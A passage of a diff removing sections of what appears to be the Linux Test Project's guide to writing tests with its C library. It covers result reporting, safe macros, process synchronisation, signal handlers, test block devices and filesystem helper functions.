-just check that fd > 0 before we attempt to close it. The mount function
-requires extra flag to be set after device was successfully mounted.
-
-[source,c]
--------------------------------------------------------------------------------
-static void cleanup(void)
-{
-	if (fd1 > 0)
-		SAFE_CLOSE(fd1);
-
-	if (fd0 > 0)
-		SAFE_CLOSE(fd0);
-
-	if (mount_flag && tst_umouont(MNTPOINT))
-		tst_res(TWARN | TERRNO, "umount(%s)", MNTPOINT);
-}
--------------------------------------------------------------------------------
-
-IMPORTANT: 'SAFE_MACROS()' used in cleanup *do not* exit the test. Failure
-           only produces a warning and the 'cleanup()' carries on. This is
-	   intentional as we want to execute as much 'cleanup()' as possible.
-
-WARNING: Calling tst_brk() in test 'cleanup()' does not exit the test as well
-         and 'TBROK' is converted to 'TWARN'.
-
-NOTE: Creation and removal of the test temporary directory is handled in
-      the test library and the directory is removed recursively. Therefore
-      we do not have to remove files and directories in the test cleanup.
-
-2.2.2 Basic test interface
-^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-[source,c]
--------------------------------------------------------------------------------
-void tst_res(int ttype, char *arg_fmt, ...);
--------------------------------------------------------------------------------
-
-Printf-like function to report test result, it's mostly used with ttype:
-
-|==============================
-| 'TPASS' | Test has passed.
-| 'TFAIL' | Test has failed.
-| 'TINFO' | General message.
-| 'TWARN' | Something went wrong but we decided to continue. Mostly used in cleanup functions.
-|==============================
-
-The 'ttype' can be combined bitwise with 'TERRNO' or 'TTERRNO' to print
-'errno', 'TST_ERR' respectively.
-
-[source,c]
--------------------------------------------------------------------------------
-void tst_brk(int ttype, char *arg_fmt, ...);
--------------------------------------------------------------------------------
-
-Printf-like function to report error and exit the test, it can be used with ttype:
-
-|============================================================
-| 'TBROK' | Something has failed in test preparation phase.
-| 'TCONF' | Test is not appropriate for current configuration
-            (syscall not implemented, unsupported arch, ...)
-|============================================================
-
-The 'ttype' can be combined bitwise with 'TERRNO' or 'TTERRNO' to print
-'errno', 'TST_ERR' respectively.
-
-There are also 'TST_EXP_*()' macros that can simplify syscall unit tests to a
-single line, use them whenever possible. These macros take a function call as
-the first parameter and a printf-like format string and parameters as well.
-These test macros then expand to a code that runs the call, checks the return
-value and errno and reports the test result.
-
-[source,c]
--------------------------------------------------------------------------------
-static void test(void)
-{
-	...
-	TST_EXP_PASS(stat(fname, &statbuf), "stat(%s, ...)", fname);
-
-	if (!TST_PASS)
-		return;
-	...
-}
--------------------------------------------------------------------------------
-
-The 'TST_EXP_PASS()' can be used for calls that return -1 on failure and 0 on
-success. It will check for the return value and reports failure if the return
-value is not equal to 0. The call also sets the 'TST_PASS' variable to 1 if
-the call succeeeded.
-
-[source,c]
--------------------------------------------------------------------------------
-static void test(void)
-{
-	...
-	TST_EXP_FD(open(fname, O_RDONLY), "open(%s, O_RDONLY)", fname);
-
-	SAFE_CLOSE(TST_RET);
-	...
-}
--------------------------------------------------------------------------------
-
-The 'TST_EXP_FD()' is the same as 'TST_EXP_PASS()' the only difference is that
-the return value is expected to be a file descriptor so the call passes if
-positive integer is returned.
-
-[source,c]
--------------------------------------------------------------------------------
-static void test(void)
-{
-	...
-	TST_EXP_FAIL(stat(fname, &statbuf), ENOENT, "stat(%s, ...)", fname);
-	...
-}
--------------------------------------------------------------------------------
-
-The 'TST_EXP_FAIL()' is similar to 'TST_EXP_PASS()' but it fails the test if
-the call haven't failed with -1 and 'errno' wasn't set to the expected one
-passed as the second argument.
-
-[source,c]
--------------------------------------------------------------------------------
-const char *tst_strsig(int sig);
--------------------------------------------------------------------------------
-
-Return the given signal number's corresponding string.
-
-[source,c]
--------------------------------------------------------------------------------
-const char *tst_strerrno(int err);
--------------------------------------------------------------------------------
-
-Return the given errno number's corresponding string. Using this function to
-translate 'errno' values to strings is preferred. You should not use the
-'strerror()' function in the testcases.
-
-[source,c]
--------------------------------------------------------------------------------
-const char *tst_strstatus(int status);
--------------------------------------------------------------------------------
-
-Returns string describing the status as returned by 'wait()'.
-
-WARNING: This function is not thread safe.
-
-[source,c]
--------------------------------------------------------------------------------
-void tst_set_timeout(unsigned int timeout);
--------------------------------------------------------------------------------
-
-Allows for setting timeout per test iteration dynamically in the test setup(),
-the timeout is specified in seconds. There are a few testcases whose runtime
-can vary arbitrarily, these can disable timeouts by setting it to -1.
-
-[source,c]
--------------------------------------------------------------------------------
-void tst_flush(void);
--------------------------------------------------------------------------------
-
-Flush output streams, handling errors appropriately.
-
-This function is rarely needed when you have to flush the output streams
-before calling 'fork()' or 'clone()'. Note that the 'SAFE_FORK()' and 'SAFE_CLONE()'
-calls this function automatically. See 3.4 FILE buffers and fork() for explanation
-why is this needed.
-
-2.2.3 Test temporary directory
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-If '.needs_tmpdir' is set to '1' in the 'struct tst_test' unique test
-temporary is created and it's set as the test working directory. Tests *MUST
-NOT* create temporary files outside that directory. The flag is not needed to
-be set when use these flags: '.all_filesystems', '.format_device', '.mntpoint',
-'.mount_device' '.needs_checkpoints', '.needs_device', '.resource_file'
-(these flags imply creating temporary directory).
-
-IMPORTANT: Close all file descriptors (that point to files in test temporary
-           directory, even the unlinked ones) either in the 'test()' function
-	   or in the test 'cleanup()' otherwise the test may break temporary
-	   directory removal on NFS (look for "NFS silly rename").
-
-2.2.4 Safe macros
-^^^^^^^^^^^^^^^^^
-
-Safe macros aim to simplify error checking in test preparation. Instead of
-calling system API functions, checking for their return value and aborting the
-test if the operation has failed, you just use corresponding safe macro.
-
-Use them whenever it's possible.
-
-Instead of writing:
-
-[source,c]
--------------------------------------------------------------------------------
-	fd = open("/dev/null", O_RDONLY);
-	if (fd < 0)
-		tst_brk(TBROK | TERRNO, "opening /dev/null failed");
--------------------------------------------------------------------------------
-
-You write just:
-
-[source,c]
--------------------------------------------------------------------------------
-	fd = SAFE_OPEN("/dev/null", O_RDONLY);
--------------------------------------------------------------------------------
-
-IMPORTANT: The SAFE_CLOSE() function also sets the passed file descriptor to -1
-           after it's successfully closed.
-
-They can also simplify reading and writing of sysfs files, you can, for
-example, do:
-
-[source,c]
--------------------------------------------------------------------------------
-	SAFE_FILE_SCANF("/proc/sys/kernel/pid_max", "%lu", &pid_max);
--------------------------------------------------------------------------------
-
-See 'include/tst_safe_macros.h', 'include/tst_safe_stdio.h' and
-'include/tst_safe_file_ops.h' and 'include/tst_safe_net.h' for a complete list.
-
-2.2.5 Test specific command line options
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-[source,c]
--------------------------------------------------------------------------------
-struct tst_option {
-        char *optstr;
-        char **arg;
-        char *help;
-};
--------------------------------------------------------------------------------
-
-Test specific command line parameters can be passed with the 'NULL' terminated
-array of 'struct tst_option'. The 'optstr' is the command line option i.e. "o"
-or "o:" if option has a parameter. Only short options are supported. The 'arg'
-is where 'optarg' is stored upon match. If option has no parameter it's set to
-non-'NULL' value if option was present. The 'help' is a short help string.
-
-NOTE: The test parameters must not collide with common test parameters defined
-      in the library the currently used ones are +-i+, +-I+, +-C+, and +-h+.
-
-[source,c]
--------------------------------------------------------------------------------
-int tst_parse_int(const char *str, int *val, int min, int max);
-int tst_parse_float(const char *str, float *val, float min, float max);
--------------------------------------------------------------------------------
-
-Helpers for parsing the strings returned in the 'struct tst_option'.
-
-Both return zero on success and 'errno', mostly 'EINVAL' or 'ERANGE', on
-failure.
-
-Both functions are no-op if 'str' is 'NULL'.
-
-The valid range for result includes both 'min' and 'max'.
-
-.Example Usage
-[source,c]
--------------------------------------------------------------------------------
-#include <limits.h>
-#include "tst_test.h"
-
-static char *str_threads;
-static int threads = 10;
-
-static struct tst_option options[] = {
-	{"t:", &str_threads, "Number of threads (default 10)"},
-	...
-	{NULL, NULL, NULL}
-};
-
-static void setup(void)
-{
-	if (tst_parse_int(str_threads, &threads, 1, INT_MAX))
-		tst_brk(TBROK, "Invalid number of threads '%s'", str_threads);
-
-	...
-}
-
-static void test_threads(void)
-{
-	...
-
-	for (i = 0; i < threads; i++) {
-		...
-	}
-
-	...
-}
-
-static struct tst_test test = {
-	...
-	.options = options,
-	...
-};
--------------------------------------------------------------------------------
-
-
-2.2.6 Runtime kernel version detection
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Testcases for newly added kernel functionality require kernel newer than a
-certain version to run. All you need to skip a test on older kernels is to
-set the '.min_kver' string in the 'struct tst_test' to a minimal required
-kernel version, e.g. '.min_kver = "2.6.30"'.
-
-For more complicated operations such as skipping a test for a certain range
-of kernel versions, following functions could be used:
-
-[source,c]
--------------------------------------------------------------------------------
-int tst_kvercmp(int r1, int r2, int r3);
-
-struct tst_kern_exv {
-        char *dist_name;
-        char *extra_ver;
-};
-
-int tst_kvercmp2(int r1, int r2, int r3, struct tst_kern_exv *vers);
--------------------------------------------------------------------------------
-
-These two functions are intended for runtime kernel version detection. They
-parse the output from 'uname()' and compare it to the passed values.
-
-The return value is similar to the 'strcmp()' function, i.e. zero means equal,
-negative value means that the kernel is older than than the expected value and
-positive means that it's newer.
-
-The second function 'tst_kvercmp2()' allows for specifying per-vendor table of
-kernel versions as vendors typically backport fixes to their kernels and the
-test may be relevant even if the kernel version does not suggests so. See
-'testcases/kernel/syscalls/inotify/inotify04.c' for example usage.
-
-WARNING: The shell 'tst_kvercmp' maps the result into unsigned integer - the
-         process exit value.
-
-2.2.7 Fork()-ing
-^^^^^^^^^^^^^^^^
-
-Be wary that if the test forks and there were messages printed by the
-'tst_*()' interfaces, the data may still be in libc/kernel buffers and these
-*ARE NOT* flushed automatically.
-
-This happens when 'stdout' gets redirected to a file. In this case, the
-'stdout' is not line buffered, but block buffered. Hence after a fork content
-of the buffers will be printed by the parent and each of the children.
-
-To avoid that you should use 'SAFE_FORK()', 'SAFE_CLONE()' or 'tst_clone()'.
-
-IMPORTANT: You have to set the '.forks_child' flag in the test structure
-           if your testcase forks or calls 'SAFE_CLONE()'.
-
-2.2.8 Doing the test in the child process
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Results reported by 'tst_res()' are propagated to the parent test process via
-block of shared memory.
-
-Calling 'tst_brk()' causes child process to exit with non-zero exit value.
-Which means that it's safe to use 'SAFE_*()' macros in the child processes as
-well.
-
-Children that outlive the 'test()' function execution are waited for in the
-test library. Unclean child exit (killed by signal, non-zero exit value, etc.)
-will cause the main test process to exit with 'tst_brk()', which especially
-means that 'TBROK' propagated from a child process will cause the whole test
-to exit with 'TBROK'.
-
-If a test needs a child that segfaults or does anything else that cause it to
-exit uncleanly all you need to do is to wait for such children from the
-'test()' function so that it's reaped before the main test exits the 'test()'
-function.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-void tst_reap_children(void);
--------------------------------------------------------------------------------
-
-The 'tst_reap_children()' function makes the process wait for all of its
-children and exits with 'tst_brk(TBROK, ...)' if any of them returned
-a non zero exit code.
-
-When using 'SAFE_CLONE' or 'tst_clone', this may not work depending on
-the parameters passed to clone. The following call to 'SAFE_CLONE' is
-identical to 'fork()', so will work as expected.
-
-[source,c]
---------------------------------------------------------------------------------
-const struct tst_clone_args args = {
-	.exit_signal = SIGCHLD,
-};
-
-SAFE_CLONE(&args);
---------------------------------------------------------------------------------
-
-If 'exit_signal' is set to something else, then this will break
-'tst_reap_children'. It's not expected that all parameters to clone will
-work with the LTP library unless specific action is taken by the test code.
-
-.Using 'tst_res()' from binaries started by 'exec()'
-[source,c]
--------------------------------------------------------------------------------
-/* test.c */
-#define _GNU_SOURCE
-#include <unistd.h>
-#include "tst_test.h"
-
-static void do_test(void)
-{
-	char *const argv[] = {"test_exec_child", NULL};
-	char path[4096];
-
-	if (tst_get_path("test_exec_child", path, sizeof(path)))
-		tst_brk(TCONF, "Couldn't find test_exec_child in $PATH");
-
-	execve(path, argv, environ);
-
-	tst_res(TFAIL | TERRNO, "EXEC!");
-}
-
-static struct tst_test test = {
-	.test_all = do_test,
-	.child_needs_reinit = 1,
-};
-
-/* test_exec_child.c */
-#define TST_NO_DEFAULT_MAIN
-#include "tst_test.h"
-
-int main(void)
-{
-	tst_reinit();
-	tst_res(TPASS, "Child passed!");
-	return 0;
-}
--------------------------------------------------------------------------------
-
-The 'tst_res()' function can be also used from binaries started by 'exec()',
-the parent test process has to set the '.child_needs_reinit' flag so that the
-library prepares for it and has to make sure the 'LTP_IPC_PATH' environment
-variable is passed down, then the very fist thing the program has to call in
-'main()' is 'tst_reinit()' that sets up the IPC.
-
-2.2.9 Fork() and Parent-child synchronization
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-As LTP tests are written for Linux, most of the tests involve fork()-ing and
-parent-child process synchronization. LTP includes a checkpoint library that
-provides wait/wake futex based functions.
-
-In order to use checkpoints the '.needs_checkpoints' flag in the 'struct
-tst_test' must be set to '1', this causes the test library to initialize
-checkpoints before the 'test()' function is called.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-TST_CHECKPOINT_WAIT(id)
-
-TST_CHECKPOINT_WAIT2(id, msec_timeout)
-
-TST_CHECKPOINT_WAKE(id)
-
-TST_CHECKPOINT_WAKE2(id, nr_wake)
-
-TST_CHECKPOINT_WAKE_AND_WAIT(id)
--------------------------------------------------------------------------------
-
-The checkpoint interface provides pair of wake and wait functions. The 'id' is
-unsigned integer which specifies checkpoint to wake/wait for. As a matter of
-fact it's an index to an array stored in a shared memory, so it starts on
-'0' and there should be enough room for at least of hundred of them.
-
-The 'TST_CHECKPOINT_WAIT()' and 'TST_CHECKPOINT_WAIT2()' suspends process
-execution until it's woken up or until timeout is reached.
-
-The 'TST_CHECKPOINT_WAKE()' wakes one process waiting on the checkpoint.
-If no process is waiting the function retries until it success or until
-timeout is reached.
-
-If timeout has been reached process exits with appropriate error message (uses
-'tst_brk()').
-
-The 'TST_CHECKPOINT_WAKE2()' does the same as 'TST_CHECKPOINT_WAKE()' but can
-be used to wake precisely 'nr_wake' processes.
-
-The 'TST_CHECKPOINT_WAKE_AND_WAIT()' is a shorthand for doing wake and then
-immediately waiting on the same checkpoint.
-
-Child processes created via 'SAFE_FORK()' are ready to use the checkpoint
-synchronization functions, as they inherited the mapped page automatically.
-
-Child processes started via 'exec()', or any other processes not forked from
-the test process must initialize the checkpoint by calling 'tst_reinit()'.
-
-For the details of the interface, look into the 'include/tst_checkpoint.h'.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-/*
- * Waits for process state change.
- *
- * The state is one of the following:
- *
- * R - process is running
- * S - process is sleeping
- * D - process sleeping uninterruptibly
- * Z - zombie process
- * T - process is traced
- */
-TST_PROCESS_STATE_WAIT(pid, state, msec_timeout)
--------------------------------------------------------------------------------
-
-The 'TST_PROCESS_STATE_WAIT()' waits until process 'pid' is in requested
-'state' or timeout is reached. The call polls +/proc/pid/stat+ to get this
-information. A timeout of 0 will wait infinitely.
-
-On timeout -1 is returned and errno set to ETIMEDOUT.
-
-It's mostly used with state 'S' which means that process is sleeping in kernel
-for example in 'pause()' or any other blocking syscall.
-
-2.2.10 Signals and signal handlers
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-If you need to use signal handlers, keep the code short and simple. Don't
-forget that the signal handler is called asynchronously and can interrupt the
-code execution at any place.
-
-This means that problems arise when global state is changed both from the test
-code and signal handler, which will occasionally lead to:
-
-* Data corruption (data gets into inconsistent state), this may happen, for
-  example, for any operations on 'FILE' objects.
-
-* Deadlock, this happens, for example, if you call 'malloc(2)', 'free(2)',
-  etc. from both the test code and the signal handler at the same time since
-  'malloc' has global lock for it's internal data structures. (Be wary that
-  'malloc(2)' is used by the libc functions internally too.)
-
-* Any other unreproducible and unexpected behavior.
-
-Quite common mistake is to call 'exit(3)' from a signal handler. Note that this
-function is not signal-async-safe as it flushes buffers, etc. If you need to
-exit a test immediately from a signal handler use '_exit(2)' instead.
-
-TIP: See 'man 7 signal' for the list of signal-async-safe functions.
-
-If a signal handler sets a variable, its declaration must be 'volatile',
-otherwise compiler may misoptimize the code. This is because the variable may
-not be changed in the compiler code flow analysis. There is 'sig_atomic_t'
-type defined in C99 but this one *DOES NOT* imply 'volatile' (it's just a
-'typedef' to 'int'). So the correct type for a flag that is changed from a
-signal handler is either 'volatile int' or 'volatile sig_atomic_t'.
-
-If a crash (e.g. triggered by signal SIGSEGV) is expected in testing, you
-can avoid creation of core files by calling tst_no_corefile() function.
-This takes effect for process (and its children) which invoked it, unless
-they subsequently modify RLIMIT_CORE.
-
-Note that LTP library will reap any processes that test didn't reap itself,
-and report any non-zero exit code as failure.
-
-2.2.11 Kernel Modules
-^^^^^^^^^^^^^^^^^^^^^
-
-There are certain cases where the test needs a kernel part and userspace part,
-happily, LTP can build a kernel module and then insert it to the kernel on test
-start for you. See 'testcases/kernel/device-drivers/block' for details.
-
-2.2.12 Useful macros
-^^^^^^^^^^^^^^^^^^^^^
-
-[source,c]
--------------------------------------------------------------------------------
-ARRAY_SIZE(arr)
--------------------------------------------------------------------------------
-
-Returns the size of statically defined array, i.e.
-'(sizeof(arr) / sizeof(*arr))'
-
-[source,c]
--------------------------------------------------------------------------------
-LTP_ALIGN(x, a)
--------------------------------------------------------------------------------
-
-Aligns the x to be next multiple of a. The a must be power of 2.
-
-2.2.13 Filesystem type detection and skiplist
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Some tests are known to fail on certain filesystems (you cannot swap on TMPFS,
-there are unimplemented 'fcntl()' etc.).
-
-If your test needs to be skipped on certain filesystems use the
-'.skip_filesystems' field in the tst_test structure as follows:
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-static struct tst_test test = {
-	...
-        .skip_filesystems = (const char *const []) {
-                "tmpfs",
-                "ramfs",
-                "nfs",
-                NULL
-        },
-};
--------------------------------------------------------------------------------
-
-When the '.all_filesystem' flag is set the '.skip_filesystems' list is passed
-to the function that detects supported filesystems any listed filesystem is
-not included in the resulting list of supported filesystems.
-
-If test needs to adjust expectations based on filesystem type it's also
-possible to detect filesystem type at the runtime. This is preferably used
-when only subset of the test is not applicable for a given filesystem.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-static void run(void)
-{
-	...
-
-	switch ((type = tst_fs_type("."))) {
-	case TST_NFS_MAGIC:
-	case TST_TMPFS_MAGIC:
-	case TST_RAMFS_MAGIC:
-		tst_brk(TCONF, "Subtest not supported on %s",
-		        tst_fs_type_name(type));
-		return;
-	break;
-	}
-
-	...
-}
--------------------------------------------------------------------------------
-
-2.2.14 Thread-safety in the LTP library
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-It is safe to use library 'tst_res()' function in multi-threaded tests.
-
-Only the main thread must return from the 'test()' function to the test
-library and that must be done only after all threads that may call any library
-function has been terminated. That especially means that threads that may call
-'tst_brk()' must terminate before the execution of the 'test()' function
-returns to the library. This is usually done by the main thread joining all
-worker threads at the end of the 'test()' function. Note that the main thread
-will never get to the library code in a case that 'tst_brk()' was called from
-one of the threads since it will sleep at least in 'pthread_join()' on the
-thread that called the 'tst_brk()' till 'exit()' is called by 'tst_brk()'.
-
-The test-supplied cleanup function runs *concurrently* to the rest of the
-threads in a case that cleanup was entered from 'tst_brk()'. Subsequent
-threads entering 'tst_brk()' must be suspended or terminated at the start of
-the user supplied cleanup function. It may be necessary to stop or exit
-the rest of the threads before the test cleans up as well. For example threads
-that create new files should be stopped before temporary directory is be
-removed.
-
-Following code example shows thread safe cleanup function example using atomic
-increment as a guard. The library calls its cleanup after the execution returns
-from the user supplied cleanup and expects that only one thread returns from
-the user supplied cleanup to the test library.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-static void cleanup(void)
-{
-	static int flag;
-
-	if (tst_atomic_inc(&flag) != 1)
-		pthread_exit(NULL);
-
-	/* if needed stop the rest of the threads here */
-
-	...
-
-	/* then do cleanup work */
-
-	...
-
-	/* only one thread returns to the library */
-}
--------------------------------------------------------------------------------
-
-
-2.2.15 Testing with a block device
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Some tests needs a block device (inotify tests, syscall 'EROFS' failures,
-etc.). LTP library contains a code to prepare a testing device.
-
-If '.needs_device' flag in the 'struct tst_test' is set the 'tst_device'
-structure is initialized with a path to a test device and default filesystem
-to be used.
-
-You can also request minimal device size in megabytes by setting
-'.dev_min_size' the device is guaranteed to have at least the requested size
-then.
-
-If '.format_device' flag is set the device is formatted with a filesystem as
-well. You can use '.dev_fs_type' to override the default filesystem type if
-needed and pass additional options to mkfs via '.dev_fs_opts' and
-'.dev_extra_opts' pointers. Note that '.format_device' implies '.needs_device'
-there is no need to set both.
-
-If '.mount_device' is set, the device is mounted at '.mntpoint' which is used
-to pass a directory name that will be created and used as mount destination.
-You can pass additional flags and data to the mount command via '.mnt_flags'
-and '.mnt_data' pointers. Note that '.mount_device' implies '.needs_device'
-and '.format_device' so there is no need to set the later two.
-
-If '.needs_rofs' is set, read-only filesystem is mounted at '.mntpoint' this
-one is supposed to be used for 'EROFS' tests.
-
-If '.all_filesystems' is set the test function is executed for all supported
-filesystems. Supported filesystems are detected based on existence of the
-'mkfs.$fs' helper and on kernel support to mount it. For each supported
-filesystem the 'tst_device.fs_type' is set to the currently tested fs type, if
-'.format_device' is set the device is formatted as well, if '.mount_device' is
-set it's mounted at '.mntpoint'. Also the test timeout is reset for each
-execution of the test function. This flag is expected to be used for filesystem
-related syscalls that are at least partly implemented in the filesystem
-specific code e.g. fallocate().
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-struct tst_device {
-	const char *dev;
-	const char *fs_type;
-};
-
-extern struct tst_device *tst_device;
-
-int tst_umount(const char *path);
--------------------------------------------------------------------------------
-
-In case that 'LTP_DEV' is passed to the test in an environment, the library
-checks that the file exists and that it's a block device, if
-'.device_min_size' is set the device size is checked as well. If 'LTP_DEV'
-wasn't set or if size requirements were not met a temporary file is created
-and attached to a free loop device.
-
-If there is no usable device and loop device couldn't be initialized the test
-exits with 'TCONF'.
-
-The 'tst_umount()' function works exactly as 'umount(2)' but retries several
-times on 'EBUSY'. This is because various desktop daemons (gvfsd-trash is known
-for that) may be stupid enough to probe all newly mounted filesystem which
-results in 'umount(2)' failing with 'EBUSY'.
-
-IMPORTANT: All testcases should use 'tst_umount()' instead of 'umount(2)' to
-           umount filesystems.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-int tst_find_free_loopdev(const char *path, size_t path_len);
--------------------------------------------------------------------------------
-
-This function finds a free loopdev and returns the free loopdev minor (-1 for no
-free loopdev). If path is non-NULL, it will be filled with free loopdev path.
-If you want to use a customized loop device, we can call tst_find_free_loopdev
-(NULL, 0) in tests to get a free minor number and then mknod.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-unsigned long tst_dev_bytes_written(const char *dev);
--------------------------------------------------------------------------------
-
-This function reads test block device stat file (/sys/block/<device>/stat) and
-returns the bytes written since the last invocation of this function. To avoid
-FS deferred IO metadata/cache interference, we suggest doing "syncfs" before the
-tst_dev_bytes_written first invocation. And an inline function named tst_dev_sync
-is created for that intention.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-voud tst_find_backing_dev(const char *path, char *dev);
--------------------------------------------------------------------------------
-
-This function finds the block dev that this path belongs to, it uses stat function
-to get the major/minor number of the path. Then scan them in "/proc/self/mountinfo"
-and list 2th column value after ' - ' string as its block dev if match succeeds.
-
-2.2.16 Formatting a device with a filesystem
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-static void setup(void)
-{
-	...
-	SAFE_MKFS(tst_device->dev, tst_device->fs_type, NULL, NULL);
-	...
-}
--------------------------------------------------------------------------------
-
-This function takes a path to a device, filesystem type and an array of extra
-options passed to mkfs.
-
-The fs options 'fs_opts' should either be 'NULL' if there are none, or a
-'NULL' terminated array of strings such as:
-+const char *const opts[] = {"-b", "1024", NULL}+.
-
-The extra options 'extra_opts' should either be 'NULL' if there are none, or a
-'NULL' terminated array of strings such as +{"102400", NULL}+; 'extra_opts'
-will be passed after device name. e.g: +mkfs -t ext4 -b 1024 /dev/sda1 102400+
-in this case.
-
-Note that perfer to store the options which can be passed before or after device
-name by 'fs_opts' array.
-
-2.2.17 Verifying a filesystem's free space
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Some tests have size requirements for the filesystem's free space. If these
-requirements are not satisfied, the tests should be skipped.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-int tst_fs_has_free(const char *path, unsigned int size, unsigned int mult);
--------------------------------------------------------------------------------
-
-The 'tst_fs_has_free()' function returns 1 if there is enough space and 0 if
-there is not.
-
-The 'path' is the pathname of any directory/file within a filesystem.
-
-The 'mult' is a multiplier, one of 'TST_BYTES', 'TST_KB', 'TST_MB' or 'TST_GB'.
-
-The required free space is calculated by 'size * mult', e.g.
-'tst_fs_has_free("/tmp/testfile", 64, TST_MB)' will return 1 if the
-filesystem, which '"/tmp/testfile"' is in, has 64MB free space at least, and 0
-if not.
-
-2.2.18 Files, directories and fs limits
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Some tests need to know the maximum count of links to a regular file or
-directory, such as 'rename(2)' or 'linkat(2)' to test 'EMLINK' error.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-int tst_fs_fill_hardlinks(const char *dir);
--------------------------------------------------------------------------------
-
-Try to get maximum count of hard links to a regular file inside the 'dir'.
-
-NOTE: This number depends on the filesystem 'dir' is on.
-
-This function uses 'link(2)' to create hard links to a single file until it
-gets 'EMLINK' or creates 65535 links. If the limit is hit, the maximum number of
-hardlinks is returned and the 'dir' is filled with hardlinks in format
-"testfile%i", where i belongs to [0, limit) interval. If no limit is hit or if
-'link(2)' failed with 'ENOSPC' or 'EDQUOT', zero is returned and previously
-created files are removed.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-int tst_fs_fill_subdirs(const char *dir);
--------------------------------------------------------------------------------
-
-Try to get maximum number of subdirectories in directory.
-
-NOTE: This number depends on the filesystem 'dir' is on. For current kernel,
-subdir limit is not available for all filesystems (available for ext2, ext3,
-minix, sysv and more). If the test runs on some other filesystems, like ramfs,
-tmpfs, it will not even try to reach the limit and return 0.
-
-This function uses 'mkdir(2)' to create directories in 'dir' until it gets
-'EMLINK' or creates 65535 directories. If the limit is hit, the maximum number
-of subdirectories is returned and the 'dir' is filled with subdirectories in
-format "testdir%i", where i belongs to [0, limit - 2) interval (because each
-newly created dir has two links already - the '.' and the link from parent
-dir). If no limit is hit or if 'mkdir(2)' failed with 'ENOSPC' or 'EDQUOT',
-zero is returned and previously created directories are removed.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-int tst_dir_is_empty(const char *dir, int verbose);
--------------------------------------------------------------------------------
-
-Returns non-zero if directory is empty and zero otherwise.
-
-Directory is considered empty if it contains only '.' and '..'.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-void tst_purge_dir(const char *path);
--------------------------------------------------------------------------------
-
-Deletes the contents of given directory but keeps the directory itself. Useful
-for cleaning up the temporary directory and mount points between test cases or
-test iterations. Terminates the program with 'TBROK' on error.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-int tst_fill_fd(int fd, char pattern, size_t bs, size_t bcount);
--------------------------------------------------------------------------------
-
-Fill a file with specified pattern using file descriptor.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-int tst_prealloc_size_fd(int fd, size_t bs, size_t bcount);
--------------------------------------------------------------------------------
-
-Preallocate the specified amount of space using 'fallocate()'. Falls back to
-'tst_fill_fd()' if 'fallocate()' fails.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-int tst_fill_file(const char *path, char pattern, size_t bs, size_t bcount);
--------------------------------------------------------------------------------
-
-Creates/overwrites a file with specified pattern using file path.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-int tst_prealloc_file(const char *path, size_t bs, size_t bcount);
--------------------------------------------------------------------------------
-
-Create/overwrite a file and preallocate the specified amount of space for it.
-The allocated space will not be initialized to any particular content.
-
-2.2.19 Getting an unused PID number
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-Some tests require a 'PID', which is not used by the OS (does not belong to
-any process within it). For example, kill(2) should set errno to 'ESRCH' if
-it's passed such 'PID'.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-pid_t tst_get_unused_pid(void);
--------------------------------------------------------------------------------
-
-Return a 'PID' value not used by the OS or any process within it.
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-int tst_get_free_pids(void);
--------------------------------------------------------------------------------
-
-Returns number of unused pids in the system. Note that this number may be
-different once the call returns and should be used only for rough estimates.
-
-2.2.20 Running executables
-^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-[source,c]
--------------------------------------------------------------------------------
-#include "tst_test.h"
-
-int tst_cmd(const char *const argv[],
-	        const char *stdout_path,
-	        const char *stderr_path,
-	        enum tst_cmd_flags flags);
--------------------------------------------------------------------------------
-
-'tst_cmd()' is a wrapper for 'vfork() + execvp()' which provides a way
-to execute an external program.
-
-'argv[]' is a 'NULL' terminated array of strings starting with the program name
-which is followed by optional arguments.
-
-'TST_CMD_PASS_RETVAL' enum 'tst_cmd_flags' makes 'tst_cmd()'
